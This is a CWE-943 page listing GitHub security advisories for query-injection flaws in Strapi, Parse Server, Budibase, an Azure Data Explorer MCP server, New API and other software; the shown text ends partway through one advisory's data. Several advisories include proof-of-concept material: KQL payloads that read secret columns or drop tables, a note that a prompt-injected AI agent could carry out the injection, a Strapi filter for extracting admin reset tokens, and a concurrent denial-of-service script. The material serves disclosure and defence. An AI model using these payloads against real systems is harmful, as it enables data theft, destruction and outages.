Common Weakness Enumeration
CWE-943
Allowed-with-ReviewImproper Neutralization of Special Elements in Data Query Logic
Abstraction: Class · Status: Incomplete
The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.
165 vulnerabilities reference this CWE, most recent first.
GHSA-RC2J-XVRX-6GQJ
Vulnerability from github – Published: 2022-05-13 01:14 – Updated: 2025-04-20 03:43
VLAI
Details
Improper Neutralization of Special Elements used in an OS Command in bookmarking function of Newsbeuter versions 0.7 through 2.9 allows remote attackers to perform user-assisted code execution by crafting an RSS item that includes shell code in its title and/or URL.
Severity
8.8 (High)
{
"affected": [],
"aliases": [
"CVE-2017-12904"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-08-23T14:29:00Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Special Elements used in an OS Command in bookmarking function of Newsbeuter versions 0.7 through 2.9 allows remote attackers to perform user-assisted code execution by crafting an RSS item that includes shell code in its title and/or URL.",
"id": "GHSA-rc2j-xvrx-6gqj",
"modified": "2025-04-20T03:43:45Z",
"published": "2022-05-13T01:14:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12904"
},
{
"type": "WEB",
"url": "https://github.com/akrennmair/newsbeuter/issues/591"
},
{
"type": "WEB",
"url": "https://github.com/akrennmair/newsbeuter/commit/96e9506ae9e252c548665152d1b8968297128307"
},
{
"type": "WEB",
"url": "https://groups.google.com/forum/#!topic/newsbeuter/iFqSE7Vz-DE"
},
{
"type": "WEB",
"url": "https://groups.google.com/forum/#%21topic/newsbeuter/iFqSE7Vz-DE"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4585-1"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2017/dsa-3947"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RJG2-95X7-8QMX
Vulnerability from github – Published: 2026-05-14 13:17 – Updated: 2026-05-15 23:44
VLAI
Summary
Strapi may leak sensitive data via relational filtering due to lack of query sanitization
Details
Summary of CVE-2026-27886 Vulnerability Details
- CVE: CVE-2026-27886
- CVSS v3.1 Vector:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N(9.3 — Critical) - Affected Versions:
@strapi/strapi<=5.36.1 - How to Patch: Immediately update your Strapi to >=5.37.0
Description of CVE-2026-27886
Strapi versions prior to 5.37.0 did not sufficiently sanitize query parameters when filtering content via relational fields. An unauthenticated attacker could use the where query parameter on any publicly-accessible content-type with an updatedBy (or other admin-relation) field to perform a boolean-oracle attack against private fields on the joined admin_users table, including the resetPasswordToken field. Extracting an admin reset token via this oracle made full administrative account takeover possible without authentication.
When a filter such as where[updatedBy][resetPasswordToken][$startsWith]=a was applied to a public Content API endpoint, the underlying query generation performed a LEFT JOIN against the admin_users table and emitted a WHERE clause referencing the joined column. The query parameter sanitization layer did not block operator chains that traversed into relational target schemas the caller had no read permission on, allowing the response count to be used as a one-bit oracle on any admin-table field.
The patch introduces explicit query-parameter sanitization at the controller and service boundary via three new primitives: strictParam, addQueryParams, and addBodyParams. Operator chains that traverse into restricted relational targets are now rejected before reaching the database.
IoC's for CVE-2026-27886
Indicators that an instance running an unpatched version may have been exploited:
- Server access logs containing query strings traversing into admin-relation private fields. Regex:
\?(.*&)?where\[(updatedBy|createdBy|publishedBy)\]\[(email|password|resetPasswordToken|confirmationToken|firstname|lastname|preferedLanguage)\]\[\$(startsWith|contains|eq|gt|lt|ge|le|in|notIn|notNull|null)\]= - High volume of public Content API requests from a single IP iterating through a hex alphabet (
0-9,a-f) on the same content-type endpoint with progressively-longer filter values - Subsequent
POST /admin/reset-passwordcalls using a reset token that the legitimate admin did not request - Successful admin password change immediately following a burst of public Content API requests with
where[updatedBy]query parameters - Sustained burst of identical-shape requests with only the trailing character of the filter value varying
Credit
Discovered by: James Doll - WildWest CyberSecurity Contact: cve+2026-27886@wildwestcyber.com Website: https://wildwestcyber.com LinkedIn: https://www.linkedin.com/in/james-doll-273a61243
Severity
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@strapi/strapi"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "5.37.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27886"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-22",
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T13:17:58Z",
"nvd_published_at": "2026-05-14T19:16:31Z",
"severity": "CRITICAL"
},
"details": "### Summary of CVE-2026-27886 Vulnerability Details\n\n- CVE: CVE-2026-27886\n- CVSS v3.1 Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N` (9.3 \u2014 Critical)\n- Affected Versions: `@strapi/strapi` \u003c=5.36.1\n- How to Patch: Immediately update your Strapi to \u003e=5.37.0\n\n### Description of CVE-2026-27886\n\nStrapi versions prior to 5.37.0 did not sufficiently sanitize query parameters when filtering content via relational fields. An unauthenticated attacker could use the `where` query parameter on any publicly-accessible content-type with an `updatedBy` (or other admin-relation) field to perform a boolean-oracle attack against private fields on the joined `admin_users` table, including the `resetPasswordToken` field. Extracting an admin reset token via this oracle made full administrative account takeover possible without authentication.\n\nWhen a filter such as `where[updatedBy][resetPasswordToken][$startsWith]=a` was applied to a public Content API endpoint, the underlying query generation performed a `LEFT JOIN` against the `admin_users` table and emitted a `WHERE` clause referencing the joined column. The query parameter sanitization layer did not block operator chains that traversed into relational target schemas the caller had no read permission on, allowing the response count to be used as a one-bit oracle on any admin-table field.\n\nThe patch introduces explicit query-parameter sanitization at the controller and service boundary via three new primitives: `strictParam`, `addQueryParams`, and `addBodyParams`. Operator chains that traverse into restricted relational targets are now rejected before reaching the database.\n\n### IoC\u0027s for CVE-2026-27886\n\nIndicators that an instance running an unpatched version may have been exploited:\n\n- Server access logs containing query strings traversing into admin-relation private fields. Regex: `\\?(.*\u0026)?where\\[(updatedBy|createdBy|publishedBy)\\]\\[(email|password|resetPasswordToken|confirmationToken|firstname|lastname|preferedLanguage)\\]\\[\\$(startsWith|contains|eq|gt|lt|ge|le|in|notIn|notNull|null)\\]=`\n- High volume of public Content API requests from a single IP iterating through a hex alphabet (`0`-`9`, `a`-`f`) on the same content-type endpoint with progressively-longer filter values\n- Subsequent `POST /admin/reset-password` calls using a reset token that the legitimate admin did not request\n- Successful admin password change immediately following a burst of public Content API requests with `where[updatedBy]` query parameters\n- Sustained burst of identical-shape requests with only the trailing character of the filter value varying\n\n### Credit\nDiscovered by: James Doll - WildWest CyberSecurity\nContact: cve+2026-27886@wildwestcyber.com\nWebsite: https://wildwestcyber.com\nLinkedIn: https://www.linkedin.com/in/james-doll-273a61243",
"id": "GHSA-rjg2-95x7-8qmx",
"modified": "2026-05-15T23:44:50Z",
"published": "2026-05-14T13:17:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/strapi/strapi/security/advisories/GHSA-rjg2-95x7-8qmx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27886"
},
{
"type": "PACKAGE",
"url": "https://github.com/strapi/strapi"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Strapi may leak sensitive data via relational filtering due to lack of query sanitization"
}
GHSA-RM86-2RM3-62G8
Vulnerability from github – Published: 2025-07-29 21:30 – Updated: 2025-07-29 21:30
VLAI
Details
IBM Db2 for Linux 12.1.0, 12.1.1, and 12.1.2
is vulnerable to denial of service with a specially crafted query under certain non-default conditions.
Severity
5.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-33114"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-29T19:15:45Z",
"severity": "MODERATE"
},
"details": "IBM Db2 for Linux 12.1.0, 12.1.1, and 12.1.2 \n\n\n\nis vulnerable to denial of service with a specially crafted query under certain non-default conditions.",
"id": "GHSA-rm86-2rm3-62g8",
"modified": "2025-07-29T21:30:44Z",
"published": "2025-07-29T21:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33114"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7240943"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RQXQ-F5CC-3XP6
Vulnerability from github – Published: 2026-08-13 12:31 – Updated: 2026-08-13 12:31
VLAI
Details
Budibase before 3.40.0 contains a NoSQL injection vulnerability in the MongoDB datasource integration where user-supplied parameters are enriched with handlebars using noEscaping: true and parsed without operator filtering. Attackers can inject MongoDB operators through query parameters to bypass per-user access controls, read arbitrary documents, execute JavaScript via $where operators, or modify collections through update and delete operations.
Severity
{
"affected": [],
"aliases": [
"CVE-2026-73617"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-13T12:17:26Z",
"severity": "HIGH"
},
"details": "Budibase before 3.40.0 contains a NoSQL injection vulnerability in the MongoDB datasource integration where user-supplied parameters are enriched with handlebars using noEscaping: true and parsed without operator filtering. Attackers can inject MongoDB operators through query parameters to bypass per-user access controls, read arbitrary documents, execute JavaScript via $where operators, or modify collections through update and delete operations.",
"id": "GHSA-rqxq-f5cc-3xp6",
"modified": "2026-08-13T12:31:11Z",
"published": "2026-08-13T12:31:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-pmpg-2mxq-6xwr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73617"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/budibase-before-nosql-injection-via-mongodb-datasource"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-V5XX-3HCF-FM67
Vulnerability from github – Published: 2026-07-06 18:31 – Updated: 2026-07-07 21:31
VLAI
Details
A high-severity vulnerability exists in a web application component of BeyondTrust Remote Support and Privileged Remote Access related to the processing of certain input parameters. Insufficient validation of user-supplied input may allow an authenticated attacker with limited privileges to access unintended resources or data beyond their authorization scope. Exploitation is restricted to accounts with specific permissions.
Severity
9.9 (Critical)
{
"affected": [],
"aliases": [
"CVE-2026-40141"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-06T17:16:31Z",
"severity": "HIGH"
},
"details": "A high-severity vulnerability exists in a web application component of BeyondTrust Remote Support and Privileged Remote Access related to the processing of certain input parameters.\u00a0Insufficient validation of user-supplied input may allow an authenticated attacker with limited privileges to access unintended resources or data beyond their authorization scope. Exploitation is restricted to accounts with specific permissions.",
"id": "GHSA-v5xx-3hcf-fm67",
"modified": "2026-07-07T21:31:30Z",
"published": "2026-07-06T18:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40141"
},
{
"type": "WEB",
"url": "https://www.beyondtrust.com/trust-center/security-advisories/bt26-03"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VFQ7-RGVH-5GCX
Vulnerability from github – Published: 2026-03-16 15:30 – Updated: 2026-03-19 21:30
VLAI
Details
Non-relational SQL injection vulnerability (NoSQLi) in the Wakyma web application, specifically in the endpoint 'vets.wakyma.com/hospitalization/generate-hospitalization-summary'. This vulnerability could allow an authenticated user to alter a POST request to the affected endpoint for the purpose of injecting special NoSQL commands, resulting in the attacker being able to obtain customer reports.
Severity
{
"affected": [],
"aliases": [
"CVE-2026-3022"
],
"database_specific": {
"cwe_ids": [
"CWE-89",
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-16T14:19:45Z",
"severity": "HIGH"
},
"details": "Non-relational SQL injection vulnerability (NoSQLi) in the Wakyma web application, specifically in the endpoint \u0027vets.wakyma.com/hospitalization/generate-hospitalization-summary\u0027. This vulnerability could allow an authenticated user to alter a POST request to the affected endpoint for the purpose of injecting special NoSQL commands, resulting in the attacker being able to obtain customer reports.",
"id": "GHSA-vfq7-rgvh-5gcx",
"modified": "2026-03-19T21:30:20Z",
"published": "2026-03-16T15:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3022"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-wakyma-application-web"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VGJH-HMWF-C588
Vulnerability from github – Published: 2026-03-11 00:16 – Updated: 2026-03-11 00:16
VLAI
Summary
Parse Server has a NoSQL injection via token type in password reset and email verification endpoints
Details
Impact
A NoSQL injection vulnerability allows an unauthenticated attacker to inject MongoDB query operators via the token field in the password reset and email verification resend endpoints. The token value is passed to database queries without type validation and can be used to extract password reset and email verification tokens.
Any Parse Server deployment using MongoDB with email verification or password reset enabled is affected. When emailVerifyTokenReuseIfValid is configured, the email verification token can be fully extracted and used to verify a user's email address without inbox access.
Patches
Patches
The vulnerability is fixed by adding input type validation at the endpoint level.
Workarounds
There is no known workaround.
References
- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-vgjh-hmwf-c588
- Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.5.2-alpha.1
- Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.14
Severity
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "parse-server"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.5.2-alpha.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "parse-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.6.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30941"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-11T00:16:26Z",
"nvd_published_at": "2026-03-10T18:18:53Z",
"severity": "HIGH"
},
"details": "### Impact\n\nA NoSQL injection vulnerability allows an unauthenticated attacker to inject MongoDB query operators via the `token` field in the password reset and email verification resend endpoints. The `token` value is passed to database queries without type validation and can be used to extract password reset and email verification tokens.\n\nAny Parse Server deployment using MongoDB with email verification or password reset enabled is affected. When `emailVerifyTokenReuseIfValid` is configured, the email verification token can be fully extracted and used to verify a user\u0027s email address without inbox access.\n\n### Patches\n\n### Patches\n\nThe vulnerability is fixed by adding input type validation at the endpoint level.\n\n### Workarounds\n\nThere is no known workaround.\n\n### References\n\n- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-vgjh-hmwf-c588\n- Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.5.2-alpha.1\n- Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.14",
"id": "GHSA-vgjh-hmwf-c588",
"modified": "2026-03-11T00:16:26Z",
"published": "2026-03-11T00:16:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-vgjh-hmwf-c588"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30941"
},
{
"type": "PACKAGE",
"url": "https://github.com/parse-community/parse-server"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/releases/tag/8.6.14"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/releases/tag/9.5.2-alpha.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Parse Server has a NoSQL injection via token type in password reset and email verification endpoints"
}
GHSA-VPHC-468G-8RFP
Vulnerability from github – Published: 2026-03-27 19:08 – Updated: 2026-03-30 20:17
VLAI
Summary
Azure Data Explorer MCP Server: KQL Injection in multiple tools allows MCP client to execute arbitrary Kusto queries
Details
Summary
adx-mcp-server (<= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: get_table_schema, sample_table_data, and get_table_details. The table_name parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.
Details
The MCP tools construct KQL queries by directly embedding the table_name parameter into query strings:
Vulnerable code (permalink):
@mcp.tool(...)
async def get_table_schema(table_name: str) -> List[Dict[str, Any]]:
client = get_kusto_client()
query = f"{table_name} | getschema" # <-- KQL injection
result_set = client.execute(config.database, query)
@mcp.tool(...)
async def sample_table_data(table_name: str, sample_size: int = 10) -> List[Dict[str, Any]]:
client = get_kusto_client()
query = f"{table_name} | sample {sample_size}" # <-- KQL injection
result_set = client.execute(config.database, query)
@mcp.tool(...)
async def get_table_details(table_name: str) -> List[Dict[str, Any]]:
client = get_kusto_client()
query = f".show table {table_name} details" # <-- KQL injection
result_set = client.execute(config.database, query)
KQL allows chaining query operators with | and executing management commands prefixed with .. An attacker can inject:
- sensitive_table | project Secret, Password | take 100 // to read arbitrary tables
- Newline-separated management commands like .drop table important_data via get_table_details
- Arbitrary KQL analytics queries via any of the three tools
Note: While the server also has an execute_query tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to "safe" tools while requiring confirmation for execute_query. The injection bypasses this trust boundary.
PoC
# PoC: KQL Injection via get_table_schema tool
# The table_name parameter is injected into: f"{table_name} | getschema"
import json
# MCP tool call that exfiltrates data from a sensitive table
tool_call = {
"name": "get_table_schema",
"arguments": {
"table_name": "sensitive_data | project Secret, Password | take 100 //"
}
}
print(json.dumps(tool_call, indent=2))
# Resulting KQL: "sensitive_data | project Secret, Password | take 100 // | getschema"
# The // comments out "| getschema", executing an arbitrary data query instead
# Destructive example via get_table_details:
tool_call_destructive = {
"name": "get_table_details",
"arguments": {
"table_name": "users details\n.drop table critical_data"
}
}
# Resulting KQL:
# .show table users details
# .drop table critical_data details
Severity
8.3 (High)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "adx-mcp-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33980"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T19:08:09Z",
"nvd_published_at": "2026-03-27T22:16:22Z",
"severity": "HIGH"
},
"details": "### Summary\n\nadx-mcp-server (\u003c= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: `get_table_schema`, `sample_table_data`, and `get_table_details`. The `table_name` parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.\n\n### Details\n\nThe MCP tools construct KQL queries by directly embedding the `table_name` parameter into query strings:\n\n**Vulnerable code** ([permalink](https://github.com/pab1it0/adx-mcp-server/blob/48b2933/src/adx_mcp_server/server.py#L228)):\n\n```python\n@mcp.tool(...)\nasync def get_table_schema(table_name: str) -\u003e List[Dict[str, Any]]:\n client = get_kusto_client()\n query = f\"{table_name} | getschema\" # \u003c-- KQL injection\n result_set = client.execute(config.database, query)\n```\n\n```python\n@mcp.tool(...)\nasync def sample_table_data(table_name: str, sample_size: int = 10) -\u003e List[Dict[str, Any]]:\n client = get_kusto_client()\n query = f\"{table_name} | sample {sample_size}\" # \u003c-- KQL injection\n result_set = client.execute(config.database, query)\n```\n\n```python\n@mcp.tool(...)\nasync def get_table_details(table_name: str) -\u003e List[Dict[str, Any]]:\n client = get_kusto_client()\n query = f\".show table {table_name} details\" # \u003c-- KQL injection\n result_set = client.execute(config.database, query)\n```\n\nKQL allows chaining query operators with `|` and executing management commands prefixed with `.`. An attacker can inject:\n- `sensitive_table | project Secret, Password | take 100 //` to read arbitrary tables\n- Newline-separated management commands like `.drop table important_data` via `get_table_details`\n- Arbitrary KQL analytics queries via any of the three tools\n\n**Note:** While the server also has an `execute_query` tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to \"safe\" tools while requiring confirmation for `execute_query`. The injection bypasses this trust boundary.\n\n### PoC\n\n```python\n# PoC: KQL Injection via get_table_schema tool\n# The table_name parameter is injected into: f\"{table_name} | getschema\"\n\nimport json\n\n# MCP tool call that exfiltrates data from a sensitive table\ntool_call = {\n \"name\": \"get_table_schema\",\n \"arguments\": {\n \"table_name\": \"sensitive_data | project Secret, Password | take 100 //\"\n }\n}\nprint(json.dumps(tool_call, indent=2))\n\n# Resulting KQL: \"sensitive_data | project Secret, Password | take 100 // | getschema\"\n# The // comments out \"| getschema\", executing an arbitrary data query instead\n\n# Destructive example via get_table_details:\ntool_call_destructive = {\n \"name\": \"get_table_details\",\n \"arguments\": {\n \"table_name\": \"users details\\n.drop table critical_data\"\n }\n}\n# Resulting KQL:\n# .show table users details\n# .drop table critical_data details\n```",
"id": "GHSA-vphc-468g-8rfp",
"modified": "2026-03-30T20:17:30Z",
"published": "2026-03-27T19:08:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pab1it0/adx-mcp-server/security/advisories/GHSA-vphc-468g-8rfp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33980"
},
{
"type": "WEB",
"url": "https://github.com/pab1it0/adx-mcp-server/commit/0abe0ee55279e111281076393e5e966335fffd30"
},
{
"type": "PACKAGE",
"url": "https://github.com/pab1it0/adx-mcp-server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Azure Data Explorer MCP Server: KQL Injection in multiple tools allows MCP client to execute arbitrary Kusto queries"
}
GHSA-VQG4-6JF2-58RX
Vulnerability from github – Published: 2026-04-27 00:30 – Updated: 2026-04-27 00:30
VLAI
Details
There is a cypher injection issue in LogonTracer prior to v2.0.0. If specially crafted Windows event log data is loaded, the contents of the database may be altered.
Severity
4.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-33566"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-27T00:16:20Z",
"severity": "MODERATE"
},
"details": "There is a cypher injection issue in LogonTracer prior to v2.0.0. If specially crafted Windows event log data is loaded, the contents of the database may be altered.",
"id": "GHSA-vqg4-6jf2-58rx",
"modified": "2026-04-27T00:30:27Z",
"published": "2026-04-27T00:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33566"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN57877356"
},
{
"type": "WEB",
"url": "https://www.jpcert.or.jp/press/2026/PR20260423.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W6X6-9FP7-FQM4
Vulnerability from github – Published: 2026-02-23 21:56 – Updated: 2026-02-27 21:42
VLAI
Summary
New API has an SQL LIKE Wildcard Injection DoS via Token Search
Details
Summary
A SQL LIKE wildcard injection vulnerability in the /api/token/search endpoint allows authenticated users to cause Denial of Service through resource exhaustion by crafting malicious search patterns.
Details
The token search endpoint accepts user-supplied keyword and token parameters that are directly concatenated into SQL LIKE clauses without escaping wildcard characters (%, _). This allows attackers to inject patterns that trigger expensive database queries.
Vulnerable Code
File: model/token.go:70
err = DB.Where("user_id = ?", userId).
Where("name LIKE ?", "%"+keyword+"%"). // No wildcard escaping
Where(commonKeyCol+" LIKE ?", "%"+token+"%").
Find(&tokens).Error
PoC
After creating over 2 million tokens, creating millions token entries is not difficult, because the rate limiting only applies to IP addresses, so multiple IP addresses can share one session, allowing for the creation of an unlimited number of tokens in batches.
These data are not all loaded at once under normal circumstances, as shown in the image, and are displayed correctly. But if a request like this is submitted:
# A single request causes PostgreSQL to unconditionally retrieve all tokens belonging to that user. These requests buffer will all go into the buffer zone, causing an overflow and preventing the program from functioning properly.
curl 'http://localhost:3000/api/token/search?keyword=%&token='
It will cause DoS.
import requests
from concurrent.futures import ThreadPoolExecutor
def attack(session_cookie):
requests.get(
'http://localhost:3000/api/token/search',
params={'keyword': '%_%_%_%_%_%', 'token': ''},
cookies={'session': session_cookie},
headers={'New-API-User': '1'}
)
# Launch 50 concurrent malicious requests
with ThreadPoolExecutor(max_workers=50) as executor:
for _ in range(50):
executor.submit(attack, '<valid_session>')
Impact
Availability
RAM Overflow
Postgres unavailable
- Database CPU usage spike to 100%
- Application memory exhaustion
- Legitimate user requests blocked or significantly delayed
- Potential application crash or database connection pool exhaustion
Database Performance
Testing with 2,000,000 tokens:
| Pattern | Query Time | Rows | Impact |
|---|---|---|---|
test (normal) |
~50ms | 0 | Low |
% (full scan) |
5,973ms | 2,000,000 | High |
%_%_%_%_%_% |
6,200ms+ | 2,000,000 | Very High |
Attack Scalability
- Single attacker: Can launch 10-50 concurrent requests easily
- Multiple accounts: Attacker can register multiple accounts (if registration enabled)
- Proxy rotation: IP-based rate limiting can be bypassed
- Persistence: Attack can be sustained indefinitely
Resource Consumption
Each malicious request with 2M results: - Database: ~6 seconds CPU time - Network: ~200MB data transfer - Application Memory: ~200MB+ for JSON serialization - Connection Time: Database connection held for entire query duration
Exploitation Scenario
- Attacker registers or compromises a regular user account
- Attacker crafts malicious LIKE patterns using
%wildcards - Attacker launches concurrent requests (50-200 concurrent)
- Database becomes overwhelmed with slow queries
- Application memory exhausts from processing large result sets
- Legitimate users experience service degradation or complete unavailability
## Patch Recommendations
1. Escape LIKE Wildcards (Critical)
func escapeLike(s string) string {
s = strings.ReplaceAll(s, "\\", "\\\\")
s = strings.ReplaceAll(s, "%", "\\%")
s = strings.ReplaceAll(s, "_", "\\_")
return s
}
func SearchUserTokens(userId int, keyword string, token string) (tokens []*Token, err error) {
keyword = escapeLike(keyword)
token = strings.Trim(token, "sk-")
token = escapeLike(token)
err = DB.Where("user_id = ?", userId).
Where("name LIKE ? ESCAPE '\\\\'", "%"+keyword+"%").
Where(commonKeyCol+" LIKE ? ESCAPE '\\\\'", "%"+token+"%").
Limit(1000).
Find(&tokens).Error
return tokens, err
}
2. Add User-Level Rate Limiting
tokenRoute.GET("/search",
middleware.TokenSearchRateLimit(), // 30 req/min per user
controller.SearchTokens)
3. Add Query Timeout
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
err = DB.WithContext(ctx).Where(...).Find(&tokens).Error
Severity
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/QuantumNous/new-api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.10.8-alpha.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
